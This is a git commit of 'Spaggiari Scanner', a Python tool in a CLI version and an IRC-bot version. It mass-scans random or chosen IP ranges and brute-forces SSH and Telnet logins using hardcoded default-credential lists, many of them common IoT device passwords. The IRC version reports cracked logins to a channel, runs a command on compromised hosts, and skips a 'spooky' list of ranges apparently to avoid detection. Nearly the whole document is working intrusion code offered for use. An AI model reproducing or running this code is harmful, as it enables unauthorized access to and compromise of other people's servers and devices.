mirror of
git://git.acid.vegas/spaggiari.git
synced 2024-12-26 16:46:40 +00:00
Initial commit
This commit is contained in:
commit
334bcac258
15
LICENSE
Normal file
15
LICENSE
Normal file
@ -0,0 +1,15 @@
|
||||
ISC License
|
||||
|
||||
Copyright (c) 2019, acidvegas <acid.vegas@acid.vegas>
|
||||
|
||||
Permission to use, copy, modify, and/or distribute this software for any
|
||||
purpose with or without fee is hereby granted, provided that the above
|
||||
copyright notice and this permission notice appear in all copies.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
65
README.md
Normal file
65
README.md
Normal file
@ -0,0 +1,65 @@
|
||||
#####*'sans armes, ni haine, ni violence'*
|
||||
|
||||
###### Requirments
|
||||
- [Paramiko Library](http://www.paramiko.org/)
|
||||
|
||||
###### Information
|
||||
Spaggiari scanner comes in 2 versions, a CLI version and an IRC version.
|
||||
|
||||
You must edit the config in the IRC version in order to have the bot connect.
|
||||
|
||||
###### CLI Commands
|
||||
**Usage:** spaggiari.py [OPTIONS] [SCAN]
|
||||
|
||||
| Option | Description |
|
||||
| --- | --- |
|
||||
| -d | enable deep scanning. |
|
||||
| -f | enable fast scanning. |
|
||||
| -o \<path> | save output from scan(s) to file. |
|
||||
|
||||
|
||||
|
||||
| Scan | Description |
|
||||
| --- | --- |
|
||||
| -l \<path> | scan a list of ip addresses from file. |
|
||||
| -x | scan random ip addresses. (does not stop) |
|
||||
| -r \<class> \<range> | scan a range of ip addresses. |
|
||||
| -t \<ip> | scan a target ip address. |
|
||||
|
||||
Deep scanning uses a larger list of combos to bruteforce with.
|
||||
|
||||
###### IRC Commands
|
||||
| Command | Description |
|
||||
| --- | --- |
|
||||
| @random | Scan random ip addresses. |
|
||||
| @range \<class> \<range> | Scan a range of ip addresses. |
|
||||
| @range \<class> random | Scan a random range of ip addresses. |
|
||||
| @status | Check the scanning status on the bot. |
|
||||
| @stop | Stop all current running scans. |
|
||||
|
||||
*Note:* The <class> can be b or c. The <range> is the ip address range prefix to scan.
|
||||
|
||||
**CLI Examples:**
|
||||
* `spaggiari.py -r b 192.168` *(Scans the range 192.168.0.0-192.168.255.255)*
|
||||
* `spaggiari.py -r c 192.168.1` *(Scans the range 192.168.1.0-192.168.1.255)*
|
||||
* `spaggiari.py -r b random` *(Scans the range ?.?.0.0-?.?.255.255)*
|
||||
* `spaggiari.py -r c random` *(Scans the range ?.?.?.0-?.?./.255)*
|
||||
|
||||
**IRC Examples:**
|
||||
* `@range b 192.168` *(Scans the range 192.168.0.0-192.168.255.255)*
|
||||
* `@range c 192.168.1` *(Scans the range 192.168.1.0-192.168.1.255)*
|
||||
* `@range b random` *(Scans the range ?.?.0.0-?.?.255.255)*
|
||||
* `@range c random` *(Scans the range ?.?.?.0-?.?./.255)*
|
||||
|
||||
###### Python Version Notice
|
||||
All scripts on this github were developed and written to be used with the latest version of Python.
|
||||
|
||||
Check the Python [download page](https://www.python.org/downloads/) for the latest version.
|
||||
|
||||
Running the scripts with same major version and not the same major/minor version can cause errors.
|
||||
|
||||
###### Mirrors
|
||||
- [acid.vegas](https://acid.vegas/spaggiari) *(main)*
|
||||
- [SuperNETs](https://git.supernets.org/acidvegas/spaggiari)
|
||||
- [GitHub](https://github.com/acidvegas/spaggiari)
|
||||
- [GitLab](https://gitlab.com/acidvegas/spaggiari)
|
266
spaggiari/spaggiari.py
Normal file
266
spaggiari/spaggiari.py
Normal file
@ -0,0 +1,266 @@
|
||||
#!/usr/bin/env python
|
||||
# Spaggiari Scanner - Developed by acidvegas in Python (https://acid.vegas/spaggiari)
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from collections import OrderedDict
|
||||
|
||||
# Throttle Settings
|
||||
max_threads = 100
|
||||
throttle = 20
|
||||
timeout_breaker = 5
|
||||
timeout_port = 10
|
||||
timeout_ssh = 10
|
||||
|
||||
# SSH Login Combos
|
||||
combos = OrderedDict([
|
||||
('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
|
||||
('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
|
||||
])
|
||||
|
||||
deep_combos = OrderedDict([
|
||||
('root', ('alien','alpine','calvin','kn1TG7psLu','logapp','openelec','pixmet2003','raspberrypi','rasplex','rootme','soho','TANDBERG','trendimsa1.0')),
|
||||
('admin', ('aerohive','kn1TG7psLu','TANDBERG')),
|
||||
('alien', 'alien'),
|
||||
('bitnami', 'bitnami'),
|
||||
('cisco', 'cisco'),
|
||||
('device', 'apc'),
|
||||
('dpn', 'changeme'),
|
||||
('HPSupport', 'badg3r5'),
|
||||
('lp', 'lp'),
|
||||
('master', 'themaster01'),
|
||||
('osmc', 'osmc'),
|
||||
('pi', 'raspberry'),
|
||||
('plexuser', 'rasplex'),
|
||||
('sysadmin', 'PASS'),
|
||||
('toor', 'logapp'),
|
||||
('ubnt', 'ubnt'),
|
||||
('user', ('acme','live')),
|
||||
('vagrant', 'vagrant'),
|
||||
('virl', 'VIRL'),
|
||||
('vyos', 'vyos')
|
||||
])
|
||||
|
||||
# Excluded IP Ranges
|
||||
reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
|
||||
|
||||
def check_ip(ip):
|
||||
return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
|
||||
|
||||
def check_port(ip, port):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout_port)
|
||||
try:
|
||||
code = sock.connect((ip, port))
|
||||
except socket.error:
|
||||
return False
|
||||
else:
|
||||
if not code:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
def check_range(targets):
|
||||
found = False
|
||||
for ip in targets:
|
||||
if found:
|
||||
break
|
||||
for bad_range in reserved:
|
||||
if ip.startswith(bad_range + '.'):
|
||||
found = True
|
||||
break
|
||||
return found
|
||||
|
||||
def ip_range(start_ip, end_ip):
|
||||
start = list(map(int, start_ip.split('.')))
|
||||
end = list(map(int, end_ip.split('.')))
|
||||
temp = start
|
||||
ip_range = []
|
||||
ip_range.append(start_ip)
|
||||
while temp != end:
|
||||
start[3] += 1
|
||||
for i in (3, 2, 1):
|
||||
if temp[i] == 256:
|
||||
temp[i] = 0
|
||||
temp[i-1] += 1
|
||||
ip_range.append('.'.join(map(str, temp)))
|
||||
random.shuffle(ip_range)
|
||||
return ip_range
|
||||
|
||||
def random_int(min, max):
|
||||
return random.randint(min, max)
|
||||
|
||||
def random_ip():
|
||||
return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
|
||||
|
||||
def random_scan():
|
||||
while True:
|
||||
ip = (random_ip(),)
|
||||
if not check_range(ip):
|
||||
threading.Thread(target=ssh_bruteforce, args=(ip[0],)).start()
|
||||
while threading.activeCount() >= max_threads:
|
||||
time.sleep(1)
|
||||
|
||||
def range_scan(ip_range):
|
||||
for ip in ip_range:
|
||||
threading.Thread(target=ssh_bruteforce, args=(ip,)).start()
|
||||
while threading.activeCount() >= max_threads:
|
||||
time.sleep(1)
|
||||
while threading.activeCount() >= 2:
|
||||
time.sleep(1)
|
||||
|
||||
def ssh_bruteforce(ip):
|
||||
timeouts = 0
|
||||
if check_port(ip, 22):
|
||||
logging.debug('{0} has port 22 open.'.format(ip))
|
||||
for username in combos:
|
||||
passwords = combos[username]
|
||||
for password in combos[username]:
|
||||
if timeouts >= timeout_breaker:
|
||||
break
|
||||
else:
|
||||
result = ssh_connect(ip, username, password)
|
||||
if result == 1:
|
||||
timeouts += 1
|
||||
elif result == 2:
|
||||
timeouts = timeout_breaker
|
||||
time.sleep(throttle)
|
||||
else:
|
||||
logging.error('{0} does not have port 22 open.'.format(ip))
|
||||
|
||||
def ssh_connect(hostname, username, password):
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
try:
|
||||
ssh.connect(hostname, 22, username, password, timeout=timeout_ssh)
|
||||
except socket.timeout:
|
||||
logging.error('Failed to connect to {0} using {1}:{2} (Timeout)'.format(hostname, username, password))
|
||||
return 1
|
||||
except Exception as ex:
|
||||
logging.error('Failed to connect to {0} using {1}:{2} ({3})'.format(hostname, username, password, str(ex)))
|
||||
return 0
|
||||
else:
|
||||
logging.info('Successful connection to {0} using {1}:{2}'.format(hostname, username, password))
|
||||
return 2
|
||||
finally:
|
||||
ssh.close()
|
||||
|
||||
# Main
|
||||
print(''.rjust(56, '#'))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print('#{0}#'.format('Spaggiari Scanner'.center(54)))
|
||||
print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
|
||||
print('#{0}#'.format('https://git.supernets.org/acidvegas/spaggiari'.center(54)))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
logger = logging.getLogger()
|
||||
logger.setLevel(logging.INFO)
|
||||
stream_handler = logging.StreamHandler(sys.stdout)
|
||||
stream_handler.setLevel(logging.INFO)
|
||||
formatter = logging.Formatter('%(asctime)s | %(levelname)8s: %(message)s', '%I:%M:%S')
|
||||
stream_handler.setFormatter(formatter)
|
||||
logger.addHandler(stream_handler)
|
||||
if not sys.version_info.major == 3:
|
||||
logging.critical('Spaggiari Scanner requires Python version 3 to run!')
|
||||
sys.exit()
|
||||
try:
|
||||
import paramiko
|
||||
except ImportError:
|
||||
logging.critical('Failed to import the Paramiko library!')
|
||||
sys.exit()
|
||||
else:
|
||||
paramiko.util.log_to_file(os.devnull)
|
||||
parser = argparse.ArgumentParser(prog='spaggiari.py', usage='%(prog)s [OPTIONS] [SCAN]')
|
||||
parser.add_argument('-d', action='store_true', dest='deepscan', help='option: enable deep scanning.')
|
||||
parser.add_argument('-f', action='store_true', dest='fastscan', help='option: enable fast scanning.')
|
||||
parser.add_argument('-o', dest='output', help='option: save output from scan(s) to file.', metavar='<path>', type=str)
|
||||
parser.add_argument('-l', dest='listscan', help='scan a list of ip addresses from file.', metavar='<path>', type=str)
|
||||
parser.add_argument('-x', action='store_true', dest='randscan', help='scan random ip addresses. (does not stop)')
|
||||
parser.add_argument('-r', dest='rangescan', help='scan a range of ip addresses.', metavar=('<class>', '<range>'), nargs=2, type=str)
|
||||
parser.add_argument('-t', dest='targetscan', help='scan a target ip address.', metavar='<ip>', type=str)
|
||||
args = parser.parse_args()
|
||||
if args.deepscan:
|
||||
if not args.targetscan:
|
||||
logging.critical('Deep scanning can only be enabled with a target scan. (-t)')
|
||||
sys.exit()
|
||||
elif args.fastscan:
|
||||
logging.critical('Fast scanning can not be enabled with a deep scan. (-f)')
|
||||
sys.exit()
|
||||
else:
|
||||
combos = combos + deep_combos
|
||||
elif args.fastscan:
|
||||
if args.targetscan:
|
||||
logging.critical('Fast scanning can not be enabled with a target scan.')
|
||||
combos = {'root':('root',) }
|
||||
if args.output:
|
||||
file_handler = logging.FileHandler(args.output)
|
||||
file_handler.setLevel(logging.DEBUG)
|
||||
file_handler.setFormatter(formatter)
|
||||
logger.addHandler(file_handler)
|
||||
logger.debug('Logging enabled.')
|
||||
if args.listscan:
|
||||
if os.path.isfile(args.listscan):
|
||||
targets = []
|
||||
with open(args.listscan) as list_file:
|
||||
lines = list_file.read().splitlines()
|
||||
for line in [x for x in lines if x]:
|
||||
if check_ip(line):
|
||||
targets.append(line)
|
||||
if targets:
|
||||
if not check_range(targets):
|
||||
logging.debug('Scanning {0:,} IP addresses from list...'.format(len(targets)))
|
||||
range_scan(targets)
|
||||
logging.debug('Scan has completed.')
|
||||
else:
|
||||
logging.error('Reserved IP address in range.')
|
||||
else:
|
||||
logging.error('List contains no valid IP addresses.')
|
||||
else:
|
||||
logging.error('Invalid list file. ({0})'.format(args.listscan))
|
||||
elif args.randscan:
|
||||
logging.debug('Scanning random IP addresses...')
|
||||
random_scan()
|
||||
elif args.rangescan:
|
||||
if args.rangescan[0] in ('b','c'):
|
||||
if args.rangescan[0] == 'b':
|
||||
if args.iprange == 'random':
|
||||
range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
|
||||
else:
|
||||
range_prefix = args.rangescan[1]
|
||||
start = range_prefix + '.0.0'
|
||||
end = range_prefix + '.255.255'
|
||||
elif args.rangescan[0] == 'c':
|
||||
if args.iprange == 'random':
|
||||
range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
|
||||
else:
|
||||
range_prefix = args.rangescan[1]
|
||||
start = range_prefix + '.0'
|
||||
end = range_prefix + '.255'
|
||||
if check_ip(start):
|
||||
targets = ip_range(start, end)
|
||||
if not check_range(targets):
|
||||
logging.debug('Scanning {0} IP addresses in range...'.format(len(targets)))
|
||||
range_scan(targets)
|
||||
logging.debug('Scan has completed.')
|
||||
else:
|
||||
logging.error('Reserved IP address in range.')
|
||||
else:
|
||||
logging.error('Invalid IP range prefix. ({0})'.format(args.rangescan[1]))
|
||||
else:
|
||||
logging.error('Invalid IP Class. ({0})'.format(args.rangescan[0]))
|
||||
elif args.targetscan:
|
||||
if check_ip(args.targetscan):
|
||||
ssh_bruteforce(args.targetscan)
|
||||
logging.debug('Scan has completed.')
|
||||
else:
|
||||
logging.error('Invalid IP Address. ({0})'.format(args.targetscan))
|
||||
else:
|
||||
parser.print_help()
|
464
spaggiari/spaggiari_irc.py
Normal file
464
spaggiari/spaggiari_irc.py
Normal file
@ -0,0 +1,464 @@
|
||||
#!/usr/bin/env python
|
||||
# Spaggiari Scanner (IRC Bot Version) - Developed by acidvegas in Python (https://acid.vegas/spaggiari)
|
||||
|
||||
import ipaddress
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
import ssl
|
||||
import sys
|
||||
import telnetlib
|
||||
import threading
|
||||
import time
|
||||
from collections import OrderedDict
|
||||
|
||||
# IRC Config
|
||||
server = 'irc.supernets.org'
|
||||
port = 6667
|
||||
use_ipv6 = False
|
||||
use_ssl = False
|
||||
password = None
|
||||
channel = '#dev'
|
||||
key = None
|
||||
admin_host = 'ak@super.nets'
|
||||
|
||||
# Throttle Settings
|
||||
max_threads = 120 # Maximum number of threads.
|
||||
throttle = 0 # Delway between each combo attempt.
|
||||
timeout_breaker = 3 # How many timeouts until host is given up on.
|
||||
timeout = 3 # Timeout for all sockets.
|
||||
|
||||
# Bruteforce Combos
|
||||
ssh_combos = OrderedDict([
|
||||
('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
|
||||
('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
|
||||
])
|
||||
|
||||
telnet_combos = OrderedDict([
|
||||
('666666', ('666666',)),
|
||||
('888888', ('888888',)),
|
||||
('admin', (None, '1111', '1111111', '1234', '12345', '123456', '54321', '7ujMko0admin', 'admin', 'admin1234', 'meinsm', 'pass', 'password', 'smcadmin')),
|
||||
('admin1', ('password',)),
|
||||
('administrator', ('1234',)),
|
||||
('Administrator', ('admin',)),
|
||||
('guest', ('12345', 'guest')),
|
||||
('mother', ('fucker',)),
|
||||
('root', (None, '00000000', '1111', '1234', '12345', '123456', '54321', '666666', '7ujMko0admin', '7ujMko0vizxv', '888888', 'admin', 'anko', 'default', 'dreambox', 'hi3518', 'ikwb', 'juantech', 'jvbzd', 'klv123', 'klv1234', 'pass', 'password', 'realtek', 'root', 'system', 'user', 'vizxv', 'xc3511', 'xmhdipc', 'zlxx.', 'Zte521')),
|
||||
('service', ('service',)),
|
||||
('supervisor', ('supervisor',)),
|
||||
('support', ('support',)),
|
||||
('tech', ('tech',)),
|
||||
('ubnt', ('ubnt',)),
|
||||
('user', ('user',))
|
||||
])
|
||||
|
||||
# Important Ranges (DO NOT EDIT)
|
||||
spooky = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7')
|
||||
reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
|
||||
|
||||
# Formatting Control Characters / Color Codes
|
||||
bold = '\x02'
|
||||
italic = '\x1D'
|
||||
underline = '\x1F'
|
||||
reverse = '\x16'
|
||||
reset = '\x0f'
|
||||
white = '00'
|
||||
black = '01'
|
||||
blue = '02'
|
||||
green = '03'
|
||||
red = '04'
|
||||
brown = '05'
|
||||
purple = '06'
|
||||
orange = '07'
|
||||
yellow = '08'
|
||||
light_green = '09'
|
||||
cyan = '10'
|
||||
light_cyan = '11'
|
||||
light_blue = '12'
|
||||
pink = '13'
|
||||
grey = '14'
|
||||
light_grey = '15'
|
||||
|
||||
# Debug Functions
|
||||
def debug(msg):
|
||||
print('{0} | [~] - {1}'.format(get_time(), msg))
|
||||
|
||||
def error(msg, reason=None):
|
||||
if reason:
|
||||
print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
|
||||
else:
|
||||
print('{0} | [!] - {1}'.format(get_time(), msg))
|
||||
|
||||
def error_exit(msg):
|
||||
raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
|
||||
|
||||
def get_time():
|
||||
return time.strftime('%I:%M:%S')
|
||||
|
||||
|
||||
|
||||
# Functions
|
||||
def check_ip(ip):
|
||||
return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
|
||||
|
||||
def check_port(ip, port):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
code = sock.connect((ip, port))
|
||||
except socket.error:
|
||||
return False
|
||||
else:
|
||||
if not code:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
def check_range(targets):
|
||||
found = False
|
||||
for ip in targets:
|
||||
if found:
|
||||
break
|
||||
for bad_range in spooky + reserved:
|
||||
if ip.startswith(bad_range + '.'):
|
||||
found = True
|
||||
break
|
||||
return found
|
||||
|
||||
def color(msg, foreground, background=None):
|
||||
if background:
|
||||
return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
|
||||
else:
|
||||
return '\x03{0}{1}{2}'.format(foreground, msg, reset)
|
||||
|
||||
def ip_range(network):
|
||||
return ipaddress.ip_network(network)
|
||||
|
||||
def random_ip():
|
||||
return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
|
||||
|
||||
def random_int(min, max):
|
||||
return random.randint(min, max)
|
||||
|
||||
def random_str(size):
|
||||
return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(size))
|
||||
|
||||
|
||||
|
||||
# Scan Functions
|
||||
class random_scan(threading.Thread):
|
||||
def __init__(self):
|
||||
threading.Thread.__init__(self)
|
||||
def run(self):
|
||||
while True:
|
||||
if Spaggiari.stop_scan:
|
||||
break
|
||||
else:
|
||||
ip = (random_ip(), )
|
||||
if not check_range(ip):
|
||||
ssh_bruteforce(ip[0]).start()
|
||||
while threading.activeCount() >= max_threads:
|
||||
time.sleep(1)
|
||||
|
||||
class range_scan(threading.Thread):
|
||||
def __init__(self, ip_range):
|
||||
self.ip_range = ip_range
|
||||
threading.Thread.__init__(self)
|
||||
def run(self):
|
||||
for ip in self.ip_range:
|
||||
if Spaggiari.stop_scan:
|
||||
break
|
||||
else:
|
||||
ssh_bruteforce(ip).start()
|
||||
self.ip_range.remove(ip)
|
||||
while threading.activeCount() >= max_threads:
|
||||
time.sleep(1)
|
||||
while threading.activeCount() >= 2:
|
||||
time.sleep(1)
|
||||
Spaggiari.scanning = False
|
||||
Spaggiari.sendmsg(channel, '[{0}] - Scan has completed.'.format(color('#', blue)))
|
||||
|
||||
class ssh_bruteforce(threading.Thread):
|
||||
def __init__(self, ip):
|
||||
self.ip = ip
|
||||
self.timeouts = 0
|
||||
threading.Thread.__init__(self)
|
||||
def run(self):
|
||||
if check_port(self.ip, 22):
|
||||
for username in ssh_combos:
|
||||
for password in ssh_combos[username]:
|
||||
if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
|
||||
break
|
||||
else:
|
||||
result = ssh_connect(self.ip, username, password)
|
||||
if result == 1:
|
||||
self.timeouts += 1
|
||||
elif result == 2:
|
||||
self.timeouts = timeout_breaker
|
||||
time.sleep(throttle)
|
||||
|
||||
class telnet_bruteforce(threading.Thread):
|
||||
def __init__(self, ip):
|
||||
self.ip = ip
|
||||
self.timeouts = 0
|
||||
threading.Thread.__init__(self)
|
||||
def run(self):
|
||||
if check_port(self.ip, 23):
|
||||
for username in telnet_combos:
|
||||
for password in telnet_combos[username]:
|
||||
if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
|
||||
break
|
||||
else:
|
||||
result = telnet_connect(self.ip, username, password)
|
||||
if result == 1:
|
||||
self.timeouts += 1
|
||||
elif result == 2:
|
||||
self.timeouts = timeout_breaker
|
||||
time.sleep(throttle)
|
||||
|
||||
def ssh_connect(hostname, username, password):
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
try:
|
||||
ssh.connect(hostname, 22, username, password, timeout=timeout)
|
||||
stdin,stdout,stderr = ssh.exec_command('echo lol')
|
||||
for line in stdout.readlines():
|
||||
if 'ogin:' in line:
|
||||
raise Exception('Invalid')
|
||||
else:
|
||||
Spaggiari.sendmsg(channel, line)
|
||||
except socket.timeout:
|
||||
return 1
|
||||
except:
|
||||
return 0
|
||||
else:
|
||||
Spaggiari.sendmsg(channel, '[{0}] - Successful SSH connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
|
||||
return 2
|
||||
finally:
|
||||
ssh.close()
|
||||
|
||||
def telnet_connect(hostname, username, password):
|
||||
try:
|
||||
tn = telnetlib.Telnet(hostname, 23, timeout)
|
||||
# time.sleep(1)
|
||||
# print(tn.read_some())
|
||||
tn.read_until((b':' or b'>' or b'$' or b'@'))
|
||||
tn.write(username.encode() + b'\n')
|
||||
tn.read_until((b':' or b'>' or b'$' or b'@'))
|
||||
tn.write(password.encode() + b'\n')
|
||||
tn.read_all()
|
||||
tn.close()
|
||||
except socket.timeout:
|
||||
return 1
|
||||
except:
|
||||
return 0
|
||||
else:
|
||||
Spaggiari.sendmsg(channel, '[{0}] - Successful Telnet connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
|
||||
return 2
|
||||
|
||||
|
||||
|
||||
# IRC Bot Object
|
||||
class IRC(object):
|
||||
def __init__(self):
|
||||
self.server = server
|
||||
self.port = port
|
||||
self.use_ipv6 = use_ipv6
|
||||
self.use_ssl = use_ssl
|
||||
self.password = password
|
||||
self.channel = channel
|
||||
self.key = key
|
||||
self.nickname = 'spag-' + random_str(5)
|
||||
self.scanning = False
|
||||
self.stop_scan = False
|
||||
self.sock = None
|
||||
|
||||
def start(self):
|
||||
self.connect()
|
||||
|
||||
def action(self, chan, msg):
|
||||
self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.create_socket()
|
||||
self.sock.connect((self.server, self.port))
|
||||
if self.password:
|
||||
self.raw('PASS ' + self.password)
|
||||
self.raw(f'USER {random_str(5)} 0 * :{random_str(5)}')
|
||||
self.nick(self.nickname)
|
||||
except Exception as ex:
|
||||
error('Failed to connect to IRC server.', ex)
|
||||
self.event_disconnect()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def create_socket(self):
|
||||
family = socket.AF_INET6 if self.use_ipv6 else socket.AF_INET
|
||||
self.sock = socket.socket(family, socket.SOCK_STREAM)
|
||||
if self.use_ssl:
|
||||
self.sock = ssl.wrap_socket(self.sock)
|
||||
|
||||
def error(self, chan, msg, reason=None):
|
||||
if reason:
|
||||
self.sendmsg(chan, '[{0}] {1} {2}'.format(color('ERROR', red), msg, color('({0})'.format(str(reason)), grey)))
|
||||
else:
|
||||
self.sendmsg(chan, '[{0}] {1}'.format(color('ERROR', red), msg))
|
||||
|
||||
def event_connect(self):
|
||||
self.join(self.channel, self.key)
|
||||
|
||||
def event_disconnect(self):
|
||||
self.sock.close()
|
||||
self.stop_scan = True
|
||||
while threading.activeCount() >= 3:
|
||||
time.sleep(1)
|
||||
self.scanning = False
|
||||
self.stop_scan = False
|
||||
time.sleep(10)
|
||||
self.connect()
|
||||
|
||||
def event_kick(self, nick, chan, kicked, reason):
|
||||
if kicked == self.nickname and chan == self.channel:
|
||||
self.join(chan, self.key)
|
||||
|
||||
def event_message(self, nick, host, chan, msg):
|
||||
#if host == admin_host:
|
||||
args = msg.split()
|
||||
cmd = msg.split()[0][1:]
|
||||
if cmd == 'random':
|
||||
if not self.scanning:
|
||||
self.sendmsg(chan, '[{0}] - Scanning random IP addresses...'.format(color('#', blue)))
|
||||
self.scanning = True
|
||||
random_scan().start()
|
||||
else:
|
||||
self.error(chan, 'A scan is already running.')
|
||||
elif cmd == 'status':
|
||||
if self.scanning:
|
||||
self.sendmsg(chan, 'Scanning: ' + color('True', green))
|
||||
else:
|
||||
self.sendmsg(chan, 'Scanning: ' + color('False', red))
|
||||
elif cmd == 'stop':
|
||||
if self.scanning:
|
||||
self.stop_scan = True
|
||||
while threading.activeCount() >= 2:
|
||||
time.sleep(1)
|
||||
self.action(chan, 'Stopped all running scans.')
|
||||
self.scanning = False
|
||||
self.stop_scan = False
|
||||
elif cmd == 'range':
|
||||
if not self.scanning:
|
||||
if args[1] in ('b','c'):
|
||||
if args[1] == 'b':
|
||||
if args[2] == 'random':
|
||||
range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
|
||||
else:
|
||||
range_prefix = args[2]
|
||||
start = range_prefix + '.0.0'
|
||||
end = range_prefix + '.255.255'
|
||||
elif args[1] == 'c':
|
||||
if args[2] == 'random':
|
||||
range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
|
||||
else:
|
||||
range_prefix = args[2]
|
||||
start = range_prefix + '.0'
|
||||
end = range_prefix + '.255'
|
||||
if check_ip(start) and check_ip(end):
|
||||
targets = ip_range(start, end)
|
||||
if not check_range(targets):
|
||||
self.sendmsg(chan, '[{0}] - Scanning {1} IP addresses in range...'.format(color('#', blue), '{:,}'.format(len(targets))))
|
||||
self.scanning = True
|
||||
range_scan(targets).start()
|
||||
else:
|
||||
self.error(chan, 'Spooky/Reserved IP address range.')
|
||||
else:
|
||||
self.error(chan, 'Invalid IP address range.')
|
||||
else:
|
||||
self.error(chan, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(chan, 'A scan is already running.')
|
||||
|
||||
def event_nick_in_use(self):
|
||||
self.nickname = 'spag-' + random_str(5)
|
||||
self.nick(self.nickname)
|
||||
|
||||
def handle_events(self, data):
|
||||
args = data.split()
|
||||
if args[0] == 'PING':
|
||||
self.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
self.event_connect()
|
||||
elif args[1] == '433':
|
||||
self.event_nick_in_use()
|
||||
if args[1] == 'KICK':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
chan = args[2]
|
||||
kicked = args[3]
|
||||
